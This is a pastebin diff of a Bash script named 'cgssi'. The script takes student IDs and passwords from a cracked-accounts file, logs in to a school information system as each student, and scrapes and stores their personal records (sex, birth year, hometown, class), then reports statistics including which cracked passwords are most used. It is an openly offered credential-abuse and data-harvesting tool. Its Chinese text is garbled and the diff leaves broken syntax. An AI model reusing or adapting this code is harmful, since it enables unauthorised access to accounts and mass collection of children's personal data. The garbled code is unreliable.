Re: cgssi

From Queen Guinea Pig, 7 Years ago, written in Bash, viewed 929 times. This paste is a reply to cgssi from Crimson Baboon - go back
URL https://code.nat.moe/view/e79e7e31/diff Embed
Viewing differences between cgssi and Re: cgssi
#!/bin/bash

# cgssi - Country Gadern School Student Informations
# cgssi is a free software, maintaince by MagicNAT Networing
# Version 0.1.1 (C) MagicNAT Networking

SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%D1%A7%C9%FA%CD%F8%D2%B3"
AUTH_URL="http://127.0.0.1:8080/mis/info/list.asp"
INFO_URL="http://127.0.0.1:8080/mis/info/tea_info/stu_cxmx_p.asp?nn=%BB%F9%B1%BE%D7%CA%C1%CF"
SSID_FILENAME="./.ssid.cookie"
STAT_RPT_TMP="./.stat"
SEARCH_TMP="./.search"
OFFLINE_MODE_INDICATE="./.offline"

offline"


CRACKED_SAVE="../cgspasswd/cracked.txt"
SAVE_DIR="./info/"

function update_ssid {
        echo > $OFFLINE_MODE_INDICATE
        echo -n "Updateing ssid... "
        curl -c $SSID_FILENAME $SSID_GEN_URL --connect-timeout 5 > /dev/null 2> /dev/null
        [[ $? == "0" ]] && echo "OK" && rm $OFFLINE_MODE_INDICATE || echo "Failed! Work in offline mode" 
}

function search {
        echo > $SEARCH_TMP
        [[ -z $1 ]] && echo "search: Missing parameters" && return 1
        echo -n "Searching for '$1'... "
        for data in $(ls $SAVE_DIR)
        do
                [[ ! -z $(cat $SAVE_DIR$data | grep $1) ]] && echo $data >> $SEARCH_TMP
        done
        echo "Done"
        for data in $(cat $SEARCH_TMP)
        do
                cat $SAVE_DIR$data | less 
        done
}

function dstat {
        [[ -z $1 ]] && echo "dstat: Missing parameter" && return 1
        rm $STAT_RPT_TMP 2> /dev/null > /dev/null
        case $1 in
                class)
                        echo > $STAT_RPT_TMP
                        echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
                        cat $SAVE_DIR* | grep ????: | awk -F": " '{print $2}' | grep ?? | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
                        echo >> $STAT_RPT_TMP
                ;;
                join)
                        echo > $STAT_RPT_TMP
                        echo -e "Year joined\n================================================================================"  >> $STAT_RPT_TMP
                        cat $SAVE_DIR* | grep ????: | awk -F": " '{print $2}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined  >> $STAT_RPT_TMP
                        echo >> $STAT_RPT_TMP
                ;;
                birth)
                        echo > $STAT_RPT_TMP
                        echo -e "Year birth\n================================================================================" > $STAT_RPT_TMP
        cat $SAVE_DIR* | grep ????: | awk -F": " '{print $2}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
                        echo >> $STAT_RPT_TMP
                ;;
                *)
                        echo "dstat: Can't stat $1"
                ;;
        esac
        [[ -e $STAT_RPT_TMP ]] &&cat $STAT_RPT_TMP | less
}

function stat {
        echo -n "Generating stat report"
        echo > $STAT_RPT_TMP
        echo -n "."
        echo -e "Overall\n================================================================================" >> $STAT_RPT_TMP
        echo "Currently $(ls -l $SAVE_DIR | grep -v ^l | wc -l | sed -e 's/ //g') records in database." >> $STAT_RPT_TMP
        echo "Size: $(du -h $SAVE_DIR | sed -e 's/\.\/.*\///' | sed -e 's/ //g')"  >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Sex\n================================================================================" >> $STAT_RPT_TMP
        echo "Males: $(cat $SAVE_DIR* | grep "??: ?" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ ??: ?//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
        echo "Females: $(cat $SAVE_DIR* | grep "??: ?" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ ??: ?//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Date join\n================================================================================" "Year joined\n================================================================================" >> $STAT_RPT_TMP
        cat $SAVE_DIR* | grep ????: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Date "Year birth\n================================================================================" >> $STAT_RPT_TMP
        cat $SAVE_DIR* | grep ????: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Drpartment\n================================================================================" >> $STAT_RPT_TMP
        echo "International section: $(cat $SAVE_DIR* | grep ?? | grep ??? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ????//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
        echo "High school section: $(cat $SAVE_DIR* | grep ?? | grep ??? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ????//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
        echo "Jounier high section: $(cat $SAVE_DIR*  | grep ?? | grep ??? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ????//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
        echo "Kindergarten: $(cat $SAVE_DIR*  | grep ?? | grep ??? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ????//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
        echo "Oversea section: $(cat $SAVE_DIR*  | grep ?? | grep ??? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ????//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
        echo  >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
        cat $SAVE_DIR* | grep ????: | awk -F": " '{print $2}' | awk -F"(" '{print $1}' | grep ?? | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
        echo  >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Card type\n================================================================================" >> $STAT_RPT_TMP
        echo "????: $(cat $SAVE_DIR* | grep ??? | grep ???? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ???//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
        echo "??????: $(cat $SAVE_DIR* | grep ??? | grep ?????? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ???//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
        echo "????: $(cat $SAVE_DIR* | grep ??? | grep ?????? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ???//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
        echo "???????: $(cat $SAVE_DIR* | grep ??? | grep ??????? | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ ???//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Hometown\n================================================================================" >> $STAT_RPT_TMP
        cat $SAVE_DIR* | awk -F"??: " '{print $2}' | grep ? | awk -F"?" '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}'  | sort -k2nr |  grep students >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo -n "."
        echo -e "Password usage\n================================================================================" >> $STAT_RPT_TMP
        cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | awk -F, '{print $3}' | sort | uniq -c | sort -k2nr | awk '{printf("%s used %s times\n",$2,$1)}END{print}' | sort -rnk3 | grep times >> $STAT_RPT_TMP
        echo >> $STAT_RPT_TMP
        echo " Done"
        cat $STAT_RPT_TMP | less
}

function try_acct {
        [[ -z $1 ]] && return 1
        [[ ! -e $SSID_FILENAME ]] && return 1
        if [[ ! -z $2 ]] 
        then
                passwd=$2
        else
                ACCT=$(cat $CRACKED_SAVE | grep $1 | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | tr " " "\n" | uniq )
                [[ $(echo $ACCT | awk -F, '{print $1}') == "stu" ]] && passwd=$(echo $ACCT | awk -F, '{print $3}')
        fi
        [[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&passwd=$passwd&hd=002" $AUTH_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep ????) ]] && echo "true" && return 0
        echo "false" && return 1
}

function fetch {
        [[ -e $OFFLINE_MODE_INDICATE ]] && echo "fetch: Can't fetch in offline mode." && return 1
        [[ ! -e $CRACKED_SAVE ]] && echo "fetch_form_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
        ACCTLIST=$(cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
        for acct in $ACCTLIST 
        do
                typ=$(echo $acct | awk -F, '{print $1}')
                id=$(echo $acct | awk -F, '{print $2}')
                passwd=$(echo $acct | awk -F, '{print $3}')
                [[ $typ == "stu" ]] && echo -n "[$(date)] Fetching informations for $id... " && view $id $passwd > /dev/null && echo "Ok"
        done
}

function view {
        [[ -z $1 ]] && echo "view: Missing parameter" && return 1
        [[ -e $SAVE_DIR$1.txt ]] && echo "view: View from cache..." && cat $SAVE_DIR$1.txt | less && return 0
        [[ -e $OFFLINE_MODE_INDICATE ]] && echo "view: Cannot view uncahed data in offline mode."
" && return 1
        echo -n "view: Auth and fetch... "
        if [[ $(try_acct $*) == "false" ]]
        then
                [[ -z $2 ]] && echo "view: Failed to auth. Unknow password." && return 1
                echo "view: Failed to auth. Incorrect ID or password."
                return 1
        fi
        raw=$(curl -b $SSID_FILENAME $INFO_URL 2> /dev/null | iconv -f gbk -t utf-8 2> /dev/null | sed -e :a -e 's/<[^>]*>/|/g;/</N;//ba' | sed -e "s/\&nbsp;//g" ) 
        echo > $SAVE_DIR$1.txt
        echo "?? $1 ?????" >> $SAVE_DIR$1.txt
        echo "================================================================================" >> $SAVE_DIR$1.txt
        echo "??: $(echo $raw | awk -F"??" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "??: $(echo $raw | awk -F"??" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "????: $(echo $raw | awk -F"????" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "????: $(echo $raw | awk -F"????" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "????: $(echo $raw | awk -F"????" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "???:$(echo $raw | awk -F"???" '{print $2}' | awk -F"?????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo >> $SAVE_DIR$1.txt
        echo >> $SAVE_DIR$1.txt
        echo "?? $1 ?????" >> $SAVE_DIR$1.txt
        echo "================================================================================" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"??" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"??" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
        echo "????:$(echo $raw | awk -F"????" '{print $2}' | awk -F"???" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
        echo "????:$(echo $raw | awk -F"???" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "????:$(echo $raw | awk -F"????" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"??" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "???:$(echo $raw | awk -F"????" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "????:$(echo $raw | awk -F"????" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "???: $(echo $raw | awk -F"????" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g" | sed -e "s/ //g" | sed -e "s/?//" | sed -e "s/?//" | sed -e "s/?//" | sed -e "s/?//" )" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"????" '{print $2}' | awk -F"?????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "?????:$(echo $raw | awk -F"?????" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"??" '{print $2}' | awk -F"? ?" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"? ?" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"??" '{print $2}' | awk -F"????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "?????:$(echo $raw | awk -F"?????" '{print $2}' | awk -F"? ?" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "???:$(echo $raw | awk -F"? ?" '{print $2}' | awk -F"??" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "??:$(echo $raw | awk -F"??" '{print $2}' | awk -F"?????" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo "?????:$(echo $raw | awk -F"?????" '{print $2}' | awk -F"???" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
        echo  >> $SAVE_DIR$1.txt
        echo "Ok"
        cat $SAVE_DIR$1.txt | less && return 0
}

function help {
        echo 
        echo " cgssi - Country Gadern School Student Informations"
        echo " cgssi is a free software, maintaince by MagicNAT Networing"
        echo " Version 0.1 (C) MagicNAT Networking"
        echo 
        echo " Avaiable commands: view, fetch, search, stat"
stat, dstat"
        echo 
        echo " Usage: view <id> [passwd]"
        echo " view: View the information of given id. If passwd undefined, cgssi will search"
        echo " password from cgspasswd cracked accounts"
        echo
        echo " Usage: fetch"
        echo " fetch: Fecth all info for id in cgspasswd cracked accounts"
        echo 
        echo " Usage: search <keyword>"
        echo " search: Search all data for given keyword"
        echo 
        echo " Usage: stat"
        echo " stat: Stat all datas and show a brief summary"
        echo 
        echo " Usage: dstat <birth/join/class>"
        echo " dstat: Stat some data in detiled"
        echo 
}

function interactive {
        echo "cgssi 0.1 (Interactive mode) "
        echo "Copyright 2014 MagicNAT Networking"
        echo "This is free software with ABSOLUTELY NO WARRANTY."
        echo "type help for help"
        while true
        do
                echo -n "cgssi> "; read cmd;
                if [[ ! -z $cmd ]] 
                then
                        exe=$(echo $cmd | awk '{print $1}')
                        if ! type "$exe" > /dev/null 2> /dev/null
                        then
                                echo "cgssi: command not found: $exe"
                        else
                                $cmd
                        fi
                fi
        done
}

function main {
        update_ssid
        
case $1 in
                -o|--offline)
                        echo > $OFFLINE_MODE_INDICATE
                        echo "cgssi: Work in offline mode"
                        
[[ -z $* $2 ]] && interactive 
        $*
interactive
                        $2 $3 $4
                ;;
                *)
                        update_ssid
                        [[ -z $2 ]] && interactive
                        $1 $2 $3
                ;;
        esac 
}

main $*

Reply to "Re: cgssi"

Here you can reply to the paste above

captcha